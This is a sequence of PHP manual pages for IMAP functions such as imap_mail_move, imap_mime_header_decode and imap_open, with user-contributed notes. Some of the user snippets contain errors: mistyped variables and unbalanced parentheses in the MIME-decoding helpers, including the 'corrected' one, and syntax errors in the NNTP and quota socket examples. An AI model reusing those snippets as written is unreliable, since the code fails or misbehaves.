when you list your mailbox,you have to decode the mailbox name, use imap_utf7_decode();

for example:
//----------------------------------------------------
$host="localhost";
$port=143;
$ht="{".$host.":".$port."/imap/notls}INBOX";
$mbox=imap_open($ht,$my_user,$my_pass)or die("can't open mail ");
$mail_list=imap_listmailbox($mbox,$ht,"*");
       sort($mail_list);
       foreach($mail_list as $k=>$v)
       {
       $v_list=explode("}",$v);
       echo imap_utf7_decode(str_replace("INBOX.","",$v_list[1]));
       echo "<BR>";
       }
marcus at names dot co dot uk 08-Jul-2002 10:51
If you are having problems getting imap_mail_copy and imap_mail_move to work, check you have installed imap_devel (the imap development libraries) as well as imap (the imap daemon). Without it, PHP appears to configure correctly --with-imap, but some functions do not work.

It took me about 12 hours to figure this out!!
hxlvt at hotmail dot com 04-Jan-2001 04:37
After much fooling around, imap_mail_copy did work for me. One thing you might want to check, if you are having problems, is the new mailbox name. Make sure it is just a folder name, e.g. INBOX.haha without the server part.
imap_mail_compose
imap_mail_move
IMAP Functions


Move specified messages to a mailbox

imap_mail_copy
imap_mail
IMAP Functions
PHP Manual

imap_mail_move

(PHP 4, PHP 5)

imap_mail_move — Move specified messages to a mailbox

Description

bool imap_mail_move ( resource $imap_stream , string $msglist , string $mailbox [, int $options = 0 ] )

Moves mail messages specified by msglist to the specified mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msglist

msglist is a range not just message numbers (as described in » RFC2060).

mailbox

The mailbox name, see imap_open() for more information

options

options is a bitmask and may contain the single option:

  • CP_UID - the sequence numbers contain UIDS

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

imap_mail_move() will flag the original mail with a delete flag, to successfully delete it a call to the imap_expunge() function must be made.

See Also

  • imap_mail_copy() - Copy specified messages to a mailbox

User Contributed Notes

ThEDocTor 01-Feb-2011 10:15
To copy/move a mail in Gmail to a particular Folder like Starred/Spam/Drafts/Trash

use the following statement and don't forget to call CL_EXPUNGE or imap_expunge($mbox) after it.

<?php
imap_mail_copy($mbox,'16','[Gmail]/Starred'); // 16 is the message number, which can also be a range.(ex: '1:15')

imap_close($mbox,CL_EXPUNGE);
?>

Incase u want to send it to a personally created Label/folder(ex: Test) use..

<?php
imap_mail_copy($mbox,'16','Test');
imap_expunge($mbox);
imap_close($mbox);
?>
jim dot bodine at comcast dot net 04-Jul-2007 10:49
I offer the following example because it took me HOURS to figure this out

<?php
$this->mailInBox = imap_open($this->mailConnectString."INBOX", $this->accountLogin, $this->accountPassword);

            $this->messageCount = imap_num_msg($this->mailInBox);
            echo "Processing " . $this->messageCount . " messages:<Br>";
            for ($i = 1; $i <= $this->messageCount; ++$i) {
                $header = imap_header($this->mailInBox, $i);

                $prettydate = date("jS F Y", $header->udate);
                $fromHost = $header->from[0]->host;

                if (isset($header->from[0]->personal)) {
                    $personal = $header->from[0]->personal;
                } else {
                    $personal = $header->from[0]->mailbox;
                }

                $body = imap_fetchbody($this->mailInBox, $i, "1.1");
                if ($body == "") {
                   $body = imap_fetchbody($this->mailInBox, $i, "1");
                }

                    $move = "INBOX.processed" . date("Ymd");
                    echo "trying to move:" . $i . "<br>";
                    @imap_mail_move($this->mailInBox, $i, $move);

                }

?>
alex at bestgames dot ro 21-Nov-2005 01:36
After using imap_mail_move, imap_mail_copy or imap_delete it is necesary to call imap_expunge() function.
php at guardn dot de 09-Jul-2003 09:06
To move mails via IMAP on an Exchange Server into "Gelöschte Objekte" use:

imap_mail_move($mbox, $delmsg, "Gel&APY-schte Objekte");

It took me some tcpdumping to get this out, since both
imap_utf7_encode and
imap_utf8

did not translate it right.

Guardn
dinter at gmx dot de 27-Jan-2003 10:18
I've used a dot in
imap_mail_move($mbox,$movmsgid,'INBOX.send');
instead of
INBOX/test
and it work's fine.
vlad (php.net) 04-Nov-2002 01:37
This keeps biting me time after time. A lot of IMAP servers with quotas don't implement 'move' right - they do a 'copy&delete' instead and don't recognize that this conflicts with their quota implementetions. So, if you try to move a large message, you'll exceed your quota even though moving it does not increase the total size of your mailbox. This is not PHP-specific, but I bet it'll bite someone else besides me, so here you go.
juuuugroid at yahoo dot com 17-Jul-2002 02:28
I had the most trouble with figureing out what the message list was supposed to be.  There was one comment by jan@showstar.com but i was still terribly confused.  So I searched and searched and searched.  I read rfc2060 over 10 times.  Then BAM!  My brother found it here:

http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc2060.html#sec-6.4.7

Here is the importand stuff.

Another important field is the SEQUENCE, which identifies a set of messages by consecutive numbers from 1 to n where n is the number of messages in the mailbox.  A sequence may consist of a single number, a pair of numbers delimited by colon (equivalent to all numbers between those two numbers), or a list of single numbers or number pairs.  For example, the sequence 2,4:7,9,12:15 is equivalent to
   2,4,5,6,7,9,12,13,14,15 and identifies all those messages.

There is what I know about it.  BAM!
laurent dot penou at gadz dot org 17-Aug-2001 12:28
to complete the previous example, if the mbox/folders names are
{imap.free.fr}INBOX
{imap.free.fr}INBOX/draft
{imap.free.fr}INBOX/test

and you want to copy/move from INBOX to INBOX/test this is the syntax:

$mbox = imap_open("{imap.free.fr}INBOX",$mailuser,$mailpass)
      or die("can't connect: ".imap_last_error());
...
imap_mail_move($mbox,$messageset,"INBOX/test");

Hope this could help !
ian at showstar dot com 20-Jan-2000 06:41
The syntax for the message list is defined in RFC2060
It is a string, containing a list of message numbers and ranges, separated by commas (no spaces anywhere.) For example, "1,2,5,11:15,19" would be accepted by imap_mail_copy or imap_mail_move.
A range of messages is defined as two message numbers separated by a colon (Ex. "1:10".) Also, a "*" may be used to refer to the last message in a mailbox. (Ex. "1:*" refers to all messages)
Be careful not to use the same mailbox for source and destination, especially if you expunge the mailbox immediately afterwards; the message will be copied (back over itself), flagged as deleted (by the imap_mail_move function), and then expunged.

The following code will move the messages in the $msg_no[] array from the folder in $mbox_name to the folder in $newmbox_name: ($mbox is an already-opened imap stream)

<?php
if ($mbox_name != $newmbox_name) {
  reset($msg_no);
  $messageset = implode (",",$msg_no);
  imap_mail_move($mbox,$messageset,$newmbox_name);
  imap_expunge($mbox);
}
?>
portico dot nospam at neverwas dot net 11-Jan-2000 03:17
This function works, just not like everything else IMAP in PHP3... rather than feeding the server {server.ext/type:port}folder just feed it the folder's name.
matt at bonneau dot net 20-Dec-1999 03:49
This function copies the mail and then marks the source as deleted.  In order to see the changes, you must imap_expunge the source box.
imap_mail_copy
imap_mail
IMAP Functions


Send an email message

imap_mail_move
imap_mailboxmsginfo
IMAP Functions
PHP Manual

imap_mail

(PHP 4, PHP 5)

imap_mail — Send an email message

Description

bool imap_mail ( string $to , string $subject , string $message [, string $additional_headers = NULL [, string $cc = NULL [, string $bcc = NULL [, string $rpath = NULL ]]]] )

This function allows sending of emails with correct handling of Cc and Bcc receivers.

The parameters to, cc and bcc are all strings and are all parsed as » RFC822 address lists.

Parameters

to

The receiver

subject

The mail subject

message

The mail body

additional_headers

As string with additional headers to be set on the mail

cc

bcc

The receivers specified in bcc will get the mail, but are excluded from the headers.

rpath

Use this parameter to specify return path upon mail delivery failure. This is useful when using PHP as a mail client for multiple users.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mail() - Send mail

User Contributed Notes

ava3ar at gmail dot com 04-Aug-2011 01:50
a patch has been submitted to fix this in 5.4
chris dot weatherby at microstravel dot com 29-Apr-2010 05:19
Note: this function is a local wrapper round sendmail (or the php win32 mail functions), rather than using the imap c-client smtp functionality to sendmail. Do not expect error handling by the c-client library to be returned by this as I did.
Mathias Rav 23-Jun-2009 09:07
As per http://bugs.php.net/bug.php?id=30688 the $rpath argument is ignored, and since the (as of now) 4 year old bug is tagged WONTFIX in the bug tracker, this function is effectively deprecated in favour of mail().
uphonesimon at gmail dot com 22-Dec-2005 11:45
make sure you've correctly setup the SMTP parameters in php.ini
and aslo make sure that the SMTP server accepts relay

for some mail servers, you have to open up an imap stream, log in, and then you can send mail through imap_mail
nick at divbyzero dot com 12-Jul-2005 08:24
FYI, to finish your message post over telnet, enter a period (".") by itself as the last line of the post. Took me a while to google this so I thought I'd share. Then you can disconnect with 'quit'.
bandpay at hotmail dot com 05-Jan-2001 06:01
Extending the above note.
When the socket connection is stablished, it works exactly as if you had openned a telnet connection to the news server. If you don't know what kind of headers you have to send to the news server, then I'll suggest that you better give it a try and play with a telnet connection like this:

telenet news.servername.com 119

eaxmple:

telnet news.euroconnect.dk 119
Trying 195.184.44.30...
Connected to news.euroconnect.net (195.184.44.30).
Escape character is '^]'.
200 news.euroconnect.net (Typhoon v1.2.1)

then you'll receive confirmation from the server that you are connected. Now type "help" and enter, and you'll see what commands are supported.

eaxmle:

help
100 Legal Commands
  article [<messageid>|number]
  authinfo type value
  body [<messageid>|number]
  date
  group newsgroup
  head [<messageid>|number]
  help
  last
  list [active wildmat|active.times|counts wildmat]
  list [overview.fmt|newsgroups wildmat]
  listgroup newsgroup
  mode reader
  newgroups yyyymmdd hhmmss [GMT]
  newnews newsgroups yyyymmdd hhmmss [GMT]
  next
  post
  stat [<messageid>|number]
  xhdr field [range]
  xover [range]
  xpat field range pattern
  quit

If you want to post a message, you can start by entring the "post" command.

example:

post
340 Send Article to be Posted

From here you can start to enter the header information.
The most important headers are:
From:
Subject:
Newsgroup:

after the ":" a "white space" must follow.

If you are posting the multipart message then remember
MIME-Version: 1.0

This one is also one of the important headers when you are posting a multipart message. The boundary must follow the content type in the same line.

Content-Type: multipart/mixed; boundary="------------4A11A9ABCFCA70DD4E0C3605"

Take a look at the article below to find out more about headers and packing of the message.

http://www.phpbuilder.com/columns/kartic20000807.php3
bandpay at hotmail dot com 28-Dec-2000 06:01
If you need to send messages to a NNTP server, and you don't find the function, which is sufficient for this job, then use this.

$stream = fsockopen($server,$port, &$errno, &$errstr);
fwrite($stream, "POST\r\n");
fwrite($stream, "Newsgoups "$newsgroup."\n");
$fwrite ($stream, " What ever you need to write\n");
.........
fwrite($stream, "The rest of what you like to write\n");
fclose($stream);

There are ofcourse not so straight, but if you know which parameters your message needs, you can do it like this.

You can build up a message with imap_mail_compose ();

When you a complete message then U can write it to the server, and the server will take care of the time,  date, Massage-ID and so on, but you have to know the sturcture of the header which you make, and if you like to write a multipart message, then you better get to know it in details.

In case that you know a better way, please inform me.
Good luck.
mgsander at schaap dot dhs dot org 03-Dec-2000 10:09
You can change the From field in your message by specifying "From: blabla@yadayada.net" in the additional_headers field.
imap_mail_move
imap_mailboxmsginfo
IMAP Functions


Get information about the current mailbox

imap_mail
imap_mime_header_decode
IMAP Functions
PHP Manual

imap_mailboxmsginfo

(PHP 4, PHP 5)

imap_mailboxmsginfo — Get information about the current mailbox

Description

object imap_mailboxmsginfo ( resource $imap_stream )

Checks the current mailbox status on the server. It is similar to imap_status(), but will additionally sum up the size of all messages in the mailbox, which will take some additional time to execute.

Parameters

imap_stream

An IMAP stream returned by imap_open().

Return Values

Returns the information in an object with following properties:

Mailbox properties
Date | date of last change (current datetime)
Driver | driver
Mailbox | name of the mailbox
Nmsgs | number of messages
Recent | number of recent messages
Unread | number of unread messages
Deleted | number of deleted messages
Size | mailbox size

Returns FALSE on failure.

Examples

Example #1 imap_mailboxmsginfo() example

<?php

$mbox = imap_open("{imap.example.org}INBOX", "username", "password")
      or die("can't connect: " . imap_last_error());

$check = imap_mailboxmsginfo($mbox);

if ($check) {
    echo "Date: "     . $check->Date    . "<br />\n" ;
    echo "Driver: "   . $check->Driver  . "<br />\n" ;
    echo "Mailbox: "  . $check->Mailbox . "<br />\n" ;
    echo "Messages: " . $check->Nmsgs   . "<br />\n" ;
    echo "Recent: "   . $check->Recent  . "<br />\n" ;
    echo "Unread: "   . $check->Unread  . "<br />\n" ;
    echo "Deleted: "  . $check->Deleted . "<br />\n" ;
    echo "Size: "     . $check->Size    . "<br />\n" ;
} else {
    echo "imap_check() failed: " . imap_last_error() . "<br />\n";
}

imap_close($mbox);

?>

User Contributed Notes

phrank 15-Mar-2010 05:32
imap_mailboxmsginfo() is NOT similar to imap_status(). You will easily recognize that if you compare the prototypes:

object imap_mailboxmsginfo  (  resource $imap_stream  )

object imap_status  (  resource $imap_stream  ,  string $mailbox  ,  int $options  )

One SIGNIFICANT difference is that imap_mailboxmsginfo() gets the mailbox name from the stream resource and imap_status() requires any mailbox name as second argument.
Maxg 30-Aug-2004 02:41
About the slowness of imap_mailboxmsginfo() : if used on an IMAP connection, I did checked my mailserver logs and it appeared to send FETCH commands to retrieve the headers of EVERY messages of the mailbox ...
So, if you have, let's say, 400 messages in a folder, the function will be very slow (>1.5 sec on a local server !) ...

I strongly advise you to use imap_status() instead, which only sends one < STATUS "Mailbox/Name" (MESSAGES UNSEEN) > and is actually a lot faster (at least with IMAP, but that's maybe not true with POP3)
m at tacker dot org 12-Mar-2003 01:55
The runtime difference between imap_status and imap_mailboxmsginfo is very significant on large mailboxes

<?php

/** opening connection to a
   * mailbox with 3987 messages
   * and retrive status information **/
$mbox = imap_open ('{mail.somwhere.com:110}', $user, $password);

$mbox_info = imap_status($mbox, '{mail.somwhere.com:110}INBOX', SA_MESSAGES);
/** took 11.05 seconds **/

$mbox_info = imap_mailboxmsginfo($mbox);
/** took 6 minutes 5.382 seconds **/

?>
til_roque at yahoo dot com 03-Mar-2003 02:13
the 'recent' of this function returns the same as 'UIDvalidity' from imap_status() ... makes no sense (or dos it?)
js at jerntorget dot se, ej at jerntorget dot se 20-Sep-2002 07:29
then use imap_get_quotaroot().....

or use this one (works with qmail):
function get_quotaroot() {
if(!$socket = @fsockopen("your server", your port);
    return false;
fgets($socket, 1024);
fputs($socket, "a001 LOGIN ".$username." ".$password."\n");
fgets($socket, 1024);
fputs($socket, "a002 GETQUOTAROOT INBOX\n");
fgets($socket, 1024);
$result = fgets($socket, 1024);
fputs($socket, "a003 LOGOUT\n");
fgets($socket, 1024);
sscanf($result, '* QUOTA "ROOT" (STORAGE %d %d MESSAGE %d %d', $usedSize, $maxSize, $usedNum, $maxNum);
return array("usedSize" => $usedSize, "maxSize" => $maxSize, "usedNum" => $usedNum, "maxNum" => $maxNum);
}
stephane-wantiez at tiscalinet dot be 11-Aug-2002 01:13
imap_get_quota need you to be the admin of the mail server !
dolce at koulikov dot cc 12-Jan-2002 10:57
Don't lie... I've timed it, there is merely a time difference, besides it returns a lot of other useful info packed in an object!
whw at my169 dot com 04-Jan-2002 07:35
It is very slow,so don't use it to get mailbox size,used imap_get_quota instead.
imap_mail
imap_mime_header_decode
IMAP Functions


Decode MIME header elements

imap_mailboxmsginfo
imap_msgno
IMAP Functions
PHP Manual

imap_mime_header_decode

(PHP 4, PHP 5)

imap_mime_header_decode — Decode MIME header elements

Description

array imap_mime_header_decode ( string $text )

Decodes MIME message header extensions that are non ASCII text (see » RFC2047).

Parameters

text

The MIME text

Return Values

The decoded elements are returned in an array of objects, where each object has two properties, charset and text.

If the element hasn't been encoded, and in other words is in plain US-ASCII, the charset property of that element is set to default.

Examples

Example #1 imap_mime_header_decode() example

<?php
$text = "=?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= <keld@example.com>";

$elements = imap_mime_header_decode($text);
for ($i=0; $i<count($elements); $i++) {
    echo "Charset: {$elements[$i]->charset}\n";
    echo "Text: {$elements[$i]->text}\n\n";
}
?>

The above example will output:

Charset: ISO-8859-1
Text: Keld Jørn Simonsen

Charset: default
Text:  <keld@example.com>

In the above example we would have two elements, whereas the first element had previously been encoded with ISO-8859-1, and the second element would be plain US-ASCII.

See Also

  • imap_utf8() - Converts MIME-encoded text to UTF-8

User Contributed Notes

kai at froghh dot de 04-Aug-2008 09:25
Beware of multilined subjects containing whitespaces which are not part of the subject itself, but needed as functional characters for the clients.

i.e. you can have a mail header containing content like
Subject: =?iso-8859-1?Q?WG=3A_Mobilit=E4t_verschlechtert_--=3E_174?=
    =?iso-8859-1?Q?6?=

(carriage return and tabspace).
imap_mime_header_decode returns 5 parts (and not expected 2)
for this example.
- The first containing the space between "subject:" and the subject itself.
- The second is the first encoded text
- The third will be the line-break within the head lines.
The were inserted to keep rfc compliant line length and are NOT part of the original subject entered by the sender.
- The fourth will be the second part of the subject.
- The fifth is a line break - the last character will be a line break any time other head lines or mailbody will follow, so it's needed in the head - but not part of the original subject.
s dot wiese at trabia dot md 18-Dec-2007 01:46
The example of diego is working well, he has a (very) little
mistake in his code. Here is the corrected version:

<?php
//return supported encodings in lowercase.
function mb_list_lowerencodings() { $r=mb_list_encodings();
  for ($n=sizeOf($r); $n--; ) { $r[$n]=strtolower($r[$n]); } return $r;
}

//  Receive a string with a mail header and returns it
// decoded to a specified charset.
// If the charset specified into a piece of text from header
// isn't supported by "mb", the "fallbackCharset" will be
// used to try to decode it.
function decodeMimeString($mimeStr, $inputCharset='utf-8', $targetCharset='utf-8', $fallbackCharset='iso-8859-1') {
  $encodings=mb_list_lowerencodings();
  $inputCharset=strtolower($inputCharset);
  $targetCharset=strtolower($targetCharset);
  $fallbackCharset=strtolower($fallbackCharset);

  $decodedStr='';
  $mimeStrs=imap_mime_header_decode($mimeStr);
  for ($n=sizeOf($mimeStrs), $i=0; $i<$n; $i++) {
    $mimeStr=$mimeStrs[$i];
    $mimeStr->charset=strtolower($mimeStr->charset);
    if (($mimeStr == 'default' && $inputCharset == $targetCharset)
      || $mimStr->charset == $targetCharset) {
      $decodedStr.=$mimStr->text;
    } else {
      $decodedStr.=mb_convert_encoding(
        $mimeStr->text, $targetCharset,
        (in_array($mimeStr->charset, $encodings) ?
          $mimeStr->charset : $fallbackCharset)
        )
      );
    }
  } return $decodedStr;
}
?>
diego nunes <dn at nospam dot dnunes dot com> 14-Dec-2006 10:12
The previous comment (from hans) seems to make no sense at all, since it will not change the encoding and possibly result in a "multiencoding" string (that the browser and anything else will be unable to render, of course).

    I use a little function to decode the whole header to a specified encoding. It is as follow:

<?php
//return supported encodings in lowercase.
function mb_list_lowerencodings() { $r=mb_list_encodings();
  for ($n=sizeOf($r); $n--; ) { $r[$n]=strtolower($r[$n]); } return $r;
}

//  Receive a string with a mail header and returns it
// decoded to a specified charset.
// If the charset specified into a piece of text from header
// isn't supported by "mb", the "fallbackCharset" will be
// used to try to decode it.
function decodeMimeString($mimeStr, $inputCharset='utf-8', $targetCharset='utf-8', $fallbackCharset='iso-8859-1') {
  $encodings=mb_list_lowerencodings();
  $inputCharset=strtolower($inputCharset);
  $targetCharset=strtolower($targetCharset);
  $fallbackCharset=strtolower($fallbackCharset);

  $decodedStr='';
  $mimeStrs=imap_mime_header_decode($mimeStr);
  for ($n=sizeOf($mimeStrs), $i=0; $i<$n; $i++) {
    $mimeStr=$mimeStrs[$i];
    $mimeStr->charset=strtolower($mimeStr->charset);
    if (($mimeStr == 'default' && $inputCharset == $targetCharset)
      || $mimStr->charset == $targetCharset) {
      $decodedStr.=$mimStr->text;
    } else {
      $decodedStr.=mb_convert_encoding(
        $mimeStr->text, $targetCharset,
        (in_array($mimeStr->charset, $encodings) ?
          $mimeStr->charset : $fallbackCharset)
        )
      );
    }
  } return $decodedStr;
}
?>

    Hope it helps.
hans at lintoo dot dk 22-Dec-2005 06:10
This is obvious, but nevertheless here is a "flat" version:
<?php
private function flatMimeDecode($string) {
    $array = imap_mime_header_decode($string);
    $str = "";
    foreach ($array as $key => $part) {
        $str .= $part->text;
    }
    return $str;
}
?>
cracker at bigcracker dot ca 22-Feb-2005 04:55
In response to Sven dot Dickert at planb dot de: if you encounter problems with "=?utf-8?Q?" appearing in your headers, I found that simply using "imap_utf8($string)" decoded the "$string" properly and solved my problem perfectly.
Pawel Tomicki <pafka at klub dot chip dot pl> 22-Apr-2004 11:04
<?php

function decode_iso88591($string){
  if (strpos(strtolower($string), '=?iso-8859-1') === false) {
    return $string;
  }
  $string = explode('?', $string);
  return strtolower($string[2]) == 'q' ? quoted_printable_decode($string[3]) : base64_decode($string[3]);
}

?>
mattias at forss dot se 26-Nov-2003 07:45
This function does not code a-z 0-9 like the function posted by bandpay at hotmail dot com

function encode_iso88591($string) {
    if( ereg("[^A-Za-z0-9\ ]", $string) ) {
        $text = "=?iso-8859-1?q?";
        for( $i = 0 ; $i < strlen($string) ; $i++ ) {
            if( ereg("[^A-Za-z0-9]", $string[$i]) ) {
                $text .= "=".dechex(ord($string[$i]));
            } else {
                $text .= $string[$i];
            }
        }
        return $text."?=";
    } else     return $string;
}
hdlim at kis21 dot com 01-Jan-2003 10:35
imap_mime_header_decode, utf-7 and utf-8 problem, i solved the problem using below function. note that iconv function for code converting.
you must replace "EUC-KR" as iconv parameter with charset you want such as "iso-8859-1".

function mime_decode($s) {
  $elements = imap_mime_header_decode($s);
  for($i = 0;$i < count($elements);$i++) {
    $charset = $elements[$i]->charset;
    $text =$elements[$i]->text;
    if(!strcasecmp($charset, "utf-8") ||
       !strcasecmp($charset, "utf-7"))
    {
      $text = iconv($charset, "EUC-KR", $text);
    }
    $decoded = $decoded . $text;
  }
  return $decoded;
}
Sven dot Dickert at planb dot de 16-May-2002 06:31
Beware! imap_mime_header_decode in 4.0.6 is _not_ RFC2047 conform. The string =?utf-7?Q?Petra_M+APw-ller?= will not converted into Petra M�ller cause the charset utf7 is unknown.  Same goes to =?utf-8?Q?Petra_M=C3=BCller?= for charset utf8.
charsyam at liso dot cs dot pusan dot ac dot kr 13-Aug-2001 08:34
I wrote a simple ks_c_5601-1987(2byte)
encode

function encode_ksc5601( $string )
{
 $encode = base64_encode( $string );
 $text = "=?ks_c_5601-1987?B?";
 $text = $text.$encode."?=";
 return $text;
}
imap_mailboxmsginfo
imap_msgno
IMAP Functions


Gets the message sequence number for the given UID

imap_mime_header_decode
imap_num_msg
IMAP Functions
PHP Manual

imap_msgno

(PHP 4, PHP 5)

imap_msgno — Gets the message sequence number for the given UID

Description

int imap_msgno ( resource $imap_stream , int $uid )

Returns the message sequence number for the given uid.

This function is the inverse of imap_uid().

Parameters

imap_stream

An IMAP stream returned by imap_open().

uid

The message UID

Return Values

Returns the message sequence number for the given uid.

See Also

  • imap_uid() - This function returns the UID for the given message sequence number

User Contributed Notes

os at simonconsulting dot at 19-Apr-2011 11:44
For me, this function returns FALSE if uid does not match a message in the current mailbox.
dcridland.at.redwire.com 03-Oct-2001 06:32
<p>Note that imap_msgno() doesn't ever give you an error message. So, assuming you're passing about message numbers as a UID, be warned that:</p>
<p>$msguid = false;<br>
$msgno = imap_msgno( $your_initialized_connection, $msguid );</p>
<p>Will leave ($msgno==1) - this is probably not what you want, and it's surprisingly easy to miss while you're doing the basic testing.</p>
imap_mime_header_decode
imap_num_msg
IMAP Functions


Gets the number of messages in the current mailbox

imap_msgno
imap_num_recent
IMAP Functions
PHP Manual

imap_num_msg

(PHP 4, PHP 5)

imap_num_msg — Gets the number of messages in the current mailbox

Description

int imap_num_msg ( resource $imap_stream )

Gets the number of messages in the current mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

Return Values

Return the number of messages in the current mailbox, as an integer.

See Also

  • imap_num_recent() - Gets the number of recent messages in current mailbox
  • imap_status() - Returns status information on a mailbox

User Contributed Notes

Oliver 13-Apr-2006 03:53
imap_num_msg($stream) does only return a correct result, if you did not append , delete, etc messages from the mailbox.

Otherwise you have to call imap_check($stream) to update the value for this function.
comlampe at aol dot com 08-Apr-2004 12:30
While imap_status sets "read"-Flag when used, imap_num_msg does not touch any flag.
imap_msgno
imap_num_recent
IMAP Functions


Gets the number of recent messages in current mailbox

imap_num_msg
imap_open
IMAP Functions
PHP Manual

imap_num_recent

(PHP 4, PHP 5)

imap_num_recent — Gets the number of recent messages in current mailbox

Description

int imap_num_recent ( resource $imap_stream )

Gets the number of recent messages in the current mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

Return Values

Returns the number of recent messages in the current mailbox, as an integer.

See Also

  • imap_num_msg() - Gets the number of messages in the current mailbox
  • imap_status() - Returns status information on a mailbox

User Contributed Notes

kucera2 at centrum dot sk 07-Aug-2009 05:54
If someone want to know number of unreaded messages just use imap_mailboxmsginfo
jhoglin at digital-elephant dot com 23-Sep-2003 03:25
If you would like to skip the update of recent messages use the OP_READONLY flag when you open to check for new messages.
dizzy at roedu dot net 04-Feb-2003 09:36
of course it doesnt. because "recent" does NOT mean "unseen" . they are different. for Maildir users, recent means messages found in the "new" subdir (which are moved to "cur" on the first opening of the Inbox). "unseen" are the messages you guys probably want (messages which have never been read).
rok at ipunkt dot biz 27-Aug-2002 02:10
The num_recent value does all the work it has to do. It returns only a number if the mail is not touched any time before.
stephane-wantiez at tiscalinet dot be 11-Aug-2002 10:13
Note that if you close your imap connexion, it seems that all the recents messages are no more recents...
So it's not very useful for a webmail...
imap_num_msg
imap_open
IMAP Functions


Open an IMAP stream to a mailbox

imap_num_recent
imap_ping
IMAP Functions
PHP Manual

imap_open

(PHP 4, PHP 5)

imap_open — Open an IMAP stream to a mailbox

Description

resource imap_open ( string $mailbox , string $username , string $password [, int $options = NIL [, int $n_retries = 0 [, array $params = NULL ]]] )

Opens an IMAP stream to a mailbox.

This function can also be used to open streams to POP3 and NNTP servers, but some functions and features are only available on IMAP servers.

Parameters

mailbox

A mailbox name consists of a server and a mailbox path on this server. The special name INBOX stands for the current users personal mailbox. Mailbox names that contain international characters besides those in the printable ASCII space have to be encoded width imap_utf7_encode().

The server part, which is enclosed in '{' and '}', consists of the servers name or ip address, an optional port (prefixed by ':'), and an optional protocol specification (prefixed by '/').

The server part is mandatory in all mailbox parameters.

All names which start with { are remote names, and are in the form "{" remote_system_name [":" port] [flags] "}" [mailbox_name] where:

  • remote_system_name - Internet domain name or bracketed IP address of server.
  • port - optional TCP port number, default is the default port for that service
  • flags - optional flags, see following table.
  • mailbox_name - remote mailbox name, default is INBOX

Optional flags for names
Flag | Description
/service=service | mailbox access service, default is "imap"
/user=user | remote user name for login on the server
/authuser=user | remote authentication user; if specified this is the user name whose password is used (e.g. administrator)
/anonymous | remote access as anonymous user
/debug | record protocol telemetry in application's debug log
/secure | do not transmit a plaintext password over the network
/imap, /imap2, /imap2bis, /imap4, /imap4rev1 | equivalent to /service=imap
/pop3 | equivalent to /service=pop3
/nntp | equivalent to /service=nntp
/norsh | do not use rsh or ssh to establish a preauthenticated IMAP session
/ssl | use the Secure Socket Layer to encrypt the session
/validate-cert | validate certificates from TLS/SSL server (this is the default behavior)
/novalidate-cert | do not validate certificates from TLS/SSL server, needed if server uses self-signed certificates
/tls | force use of start-TLS to encrypt the session, and reject connection to servers that do not support it
/notls | do not do start-TLS to encrypt the session, even with servers that support it
/readonly | request read-only mailbox open (IMAP only; ignored on NNTP, and an error with SMTP and POP3)

username

The user name

password

The password associated with the username

options

The options are a bit mask with one or more of the following:

  • OP_READONLY - Open mailbox read-only
  • OP_ANONYMOUS - Don't use or update a .newsrc for news (NNTP only)
  • OP_HALFOPEN - For IMAP and NNTP names, open a connection but don't open a mailbox.
  • CL_EXPUNGE - Expunge mailbox automatically upon mailbox close (see also imap_delete() and imap_expunge())
  • OP_DEBUG - Debug protocol negotiations
  • OP_SHORTCACHE - Short (elt-only) caching
  • OP_SILENT - Don't pass up events (internal use)
  • OP_PROTOTYPE - Return driver prototype
  • OP_SECURE - Don't do non-secure authentication

n_retries

Number of maximum connect attempts

params

Connection parameters, the following (string) keys maybe used to set one or more connection parameters:

  • DISABLE_AUTHENTICATOR - Disable authentication properties

Return Values

Returns an IMAP stream on success or FALSE on error.

Changelog

Version | Description
5.3.2 | params added
5.2.0 | n_retries added

Examples

Example #1 Different use of imap_open()

<?php
// To connect to an IMAP server running on port 143 on the local machine,
// do the following:
$mbox = imap_open("{localhost:143}INBOX", "user_id", "password");

// To connect to a POP3 server on port 110 on the local server, use:
$mbox = imap_open ("{localhost:110/pop3}INBOX", "user_id", "password");

// To connect to an SSL IMAP or POP3 server, add /ssl after the protocol
// specification:
$mbox = imap_open ("{localhost:993/imap/ssl}INBOX", "user_id", "password");

// To connect to an SSL IMAP or POP3 server with a self-signed certificate,
// add /ssl/novalidate-cert after the protocol specification:
$mbox = imap_open ("{localhost:995/pop3/ssl/novalidate-cert}", "user_id", "password");

// To connect to an NNTP server on port 119 on the local server, use:
$nntp = imap_open ("{localhost:119/nntp}comp.test", "", "");
// To connect to a remote server replace "localhost" with the name or the
// IP address of the server you want to connect to.
?>

Example #2 imap_open() example

<?php
$mbox = imap_open("{imap.example.org:143}", "username", "password");

echo "<h1>Mailboxes</h1>\n";
$folders = imap_listmailbox($mbox, "{imap.example.org:143}", "*");

if ($folders == false) {
    echo "Call failed<br />\n";
} else {
    foreach ($folders as $val) {
        echo $val . "<br />\n";
    }
}

echo "<h1>Headers in INBOX</h1>\n";
$headers = imap_headers($mbox);

if ($headers == false) {
    echo "Call failed<br />\n";
} else {
    foreach ($headers as $val) {
        echo $val . "<br />\n";
    }
}

imap_close($mbox);
?>

See Also

  • imap_close() - Close an IMAP stream

User Contributed Notes

phpnet at danepowell dot com 12-Dec-2011 08:20
If you are accessing a local mailbox file, i.e. imap_open('/var/mail/www-data', '', ''), you may be restricted in what files you can access.

If PHP IMAP was compiled with the restrictBox option (which I believe most packages are these days), you can only access files relative to $HOME. Paths starting with '/' or '../' will be rejected.
Martin Eckardt 01-Jul-2011 06:41
Since Version 5.3.2 there's a 6th parameter available to disable authentication with GSSAPI or NTLM:

Example:
<?php
$mbox = imap_open("{w2010ExchangeServer:993/imap/ssl}", $user, $password, NULL, 1, array('DISABLE_AUTHENTICATOR' => 'GSSAPI'));
?>

This solves the problem with Exchange 2010 for me. As a reference see https://bugs.php.net/bug.php?id=33500
jeff1326 13-Jun-2011 07:12
If your connection is too slow, try it with port and without domain.

<?php
//Normal connection
$mailbox = imap_open("{SERVER}INBOX", $username, $password);

//Faster connection
$mailbox = imap_open("{SERVER:143}INBOX", $username, $password);

//Very slow connection
$mailbox = imap_open ("{SERVER.DOMAIN}INBOX", "DOMAIN/".$username, $password);
?>
